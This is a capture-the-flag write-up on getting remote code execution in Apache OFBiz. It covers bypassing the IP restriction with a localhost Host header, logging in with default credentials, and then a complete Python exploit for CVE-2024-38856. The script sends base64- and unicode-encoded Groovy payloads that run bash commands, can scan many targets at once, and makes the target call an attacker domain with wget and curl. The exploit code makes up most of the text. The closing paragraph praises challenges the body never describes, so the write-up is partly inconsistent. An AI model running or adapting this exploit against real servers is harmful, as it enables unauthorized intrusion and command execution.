This was an intresting challenge. There were several vulnerabilities which led to RCE in a Apache OfBiz enviorment.
Solution
First i ran dirsearch to view the directories and i found clasic directories for Apache OfBiz ( e.g /webtools ). I was presented with an error, that didnt allow me to access the services due to the IP address not included in security.properties. So I searched for possible bypasses and i introduced “localhost” in the Host header, but nothing happened. So I decided to tru using “curl” and I could access the login page. I then searched for default credentials and managed to login.
After logging in I searched for exploits for Ofbiz version 18.12.* and i stumbled upon “CVE-2024-38856. Basically there was an arbitrary directory, that allowed Java code to be run. I used the following script :
import sys
import base64
import requests
import argparse
import urllib3
from colorama import Fore, Style, init
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cookie_string = ""
def commandEncoder(command):
command_with_markers = f'echo [result]; {command}; echo [result];'
encodedCommand = base64.b64encode(command_with_markers.encode()).decode()
return encodedCommand
def payloadUnicode(base64EncodedCommand):
command = f'throw new Exception(["bash", "-c", "{{echo,{base64EncodedCommand}}}|{{base64,-d}}|{{bash,-i}}"].execute().text);'
unicodePayload = ''.join(f'\\u{ord(c):04x}' for c in command)
return unicodePayload
def extract_output(response_text):
start_marker = '[result]'
end_marker = '[result]'
start_index = response_text.find(start_marker)
end_index = response_text.find(end_marker, start_index + len(start_marker))
if start_index != -1 and end_index != -1:
output = response_text[start_index + len(start_marker):end_index].strip()
return output
return None
def exploit(target, port, payload, timeout, proxies=None):
url = f'{target}:{port}/webtools/control/main/ProgramExport'
headers = {
"Host":"localhost",
"Cookie": cookie_string,
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"groovyProgram={payload}"
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
return response.status_code, response.text
except requests.exceptions.Timeout:
print(f"{Fore.YELLOW}[!] Request timed out for {target}:{port}{Style.RESET_ALL}")
return "timeout", ""
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}Exception: {e}{Style.RESET_ALL}")
return "target maybe down", ""
def scan_vulnerability(target, port, domain, timeout, proxies=None):
scanCommands = [
f'ping -c 4 {domain}',
f'wget -O- {domain}',
f'curl {domain}'
]
results = []
url = f'{target}:{port}/webtools/control/main/ProgramExport'
headers = {
"Host":"localhost",
"Cookie": cookie_string,
"Content-Type": "application/x-www-form-urlencoded"
}
for command in scanCommands:
encodedCommand = commandEncoder(command)
unicodePayload = payloadUnicode(encodedCommand)
data = f"groovyProgram={unicodePayload}"
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
results.append((command, response.status_code))
except requests.exceptions.Timeout:
results.append((command, "timeout"))
except requests.exceptions.RequestException as e:
results.append((command, f"Exception: {e}"))
return results
def processTarget(target, port, command, timeout, output_file=None, proxies=None, exploit_command=False, domain=None):
if not exploit_command:
scan_results = scan_vulnerability(target, port, domain, timeout, proxies)
vulnerable = False
for command, status in scan_results:
if status == "timeout":
print(f"{Fore.YELLOW}[+] Scan Payload: {command} - Request timed out{Style.RESET_ALL}")
else:
print(f"{Fore.CYAN}[+] Scan Payload:{Style.RESET_ALL} {command} {Fore.CYAN}- Status Code:{Style.RESET_ALL} {status}")
if status == 200:
vulnerable = True
if vulnerable:
result = f"{Fore.GREEN}[!] Target {target}:{port} is vulnerable.{Style.RESET_ALL}\n\n"
else:
result = f"{Fore.RED}[!] Target {target}:{port} is not vulnerable.{Style.RESET_ALL}\n\n"
save_output(result, output_file)
return
encodedCommand = commandEncoder(command)
unicodePayload = payloadUnicode(encodedCommand)
statusCode, responseText = exploit(target, port, unicodePayload, timeout, proxies)
output = extract_output(responseText)
if output:
result = f"{Fore.GREEN}[!] Exploit output:\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}\n\t[+] Output: {command} \n\r\n{Style.RESET_ALL}{output} \n\n"
else:
result = f"{Fore.YELLOW}[!] Exploit executed, but no output found in the response :\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}{Style.RESET_ALL}\n\n"
save_output(result, output_file)
def save_output(output, output_file=None):
if output_file:
with open(output_file, 'a') as f:
f.write(output + '\n')
else:
print(output)
def main():
parser = argparse.ArgumentParser(description='CVE-2024-38856 Apache Ofbiz RCE Scanner Framework.')
parser.add_argument('-t', '--target', type=str, help='Target host')
parser.add_argument('-p', '--port', type=int, help='Target port')
parser.add_argument('-c', '--command', type=str, help='Command to execute (if exploit is performed)')
parser.add_argument('-s', '--scan', action='store_true', help='Perform a scan to check for vulnerability')
parser.add_argument('-d', '--domain', type=str, help='Domain (attacker domain) to scan with ping, curl, and wget')
parser.add_argument('-f', '--file', type=str, help='File containing a list of targets in the format http(s)://target:port')
parser.add_argument('-O', '--output', type=str, help='Output file to save results')
parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://localhost:8080)')
parser.add_argument('--exploit', action='store_true', help='Exploit the vulnerability after scanning')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
creds = {"USERNAME":"admin", "PASSWORD":"ofbiz", "JavaScriptEnabled":"N"}
headers = {
"Host":"localhost",
"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.post("https://65.109.131.17:1337/webtools/control/login", headers=headers, data=creds, verify=False)
cookies = response.cookies.get_dict()
global cookie_string
cookie_string = "; ".join([f"{key}={value}" for key, value in cookies.items()])
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
proxies = None
if args.proxy:
proxies = {
"http": args.proxy,
"https": args.proxy,
}
print(f"{Fore.BLUE}[*] Options Passed:{Style.RESET_ALL}")
for arg in vars(args):
print(f" {Fore.GREEN}{arg}: {getattr(args, arg)}{Style.RESET_ALL}")
targets = []
if args.file:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
if args.target:
targets.append(f"{args.target}:{args.port or 8443}")
if not targets:
print(f"{Fore.RED}[!] No targets specified. Please provide a target or a file with targets.{Style.RESET_ALL}")
sys.exit(1)
for target in targets:
if args.scan and not args.domain:
print(f"{Fore.RED}[!] The --domain option is required when using --scan.{Style.RESET_ALL}")
sys.exit(1)
if '://' in target:
url_parts = target.split(':')
target_host = url_parts[0] + ':' + url_parts[1]
port = url_parts[2] if len(url_parts) > 2 else '8443'
else:
target_host = target.split(':')[0]
port = target.split(':')[1] if ':' in target else '8443'
processTarget(target_host, port, args.command, args.timeout, args.output, proxies, args.exploit, args.domain)
if __name__ == "__main__":
main()
Conclusion
This CTF competition was a blast! Diving into the challenges was both thrilling and educational, especially getting to dig deeper into the OBX protocol—what a fascinating piece of tech to unravel! Extracting mp3 files from pcap captures was another highlight; it felt like digital archaeology, piecing together clues from network traffic. I learned a ton, not just about these specific skills but also about thinking creatively under pressure.
Huge shoutout to the organizers for putting together such an engaging and well-run event. Your hard work made it a memorable experience, and I’m already looking forward to the next one! Thanks for sparking curiosity and fun in the cybersecurity community.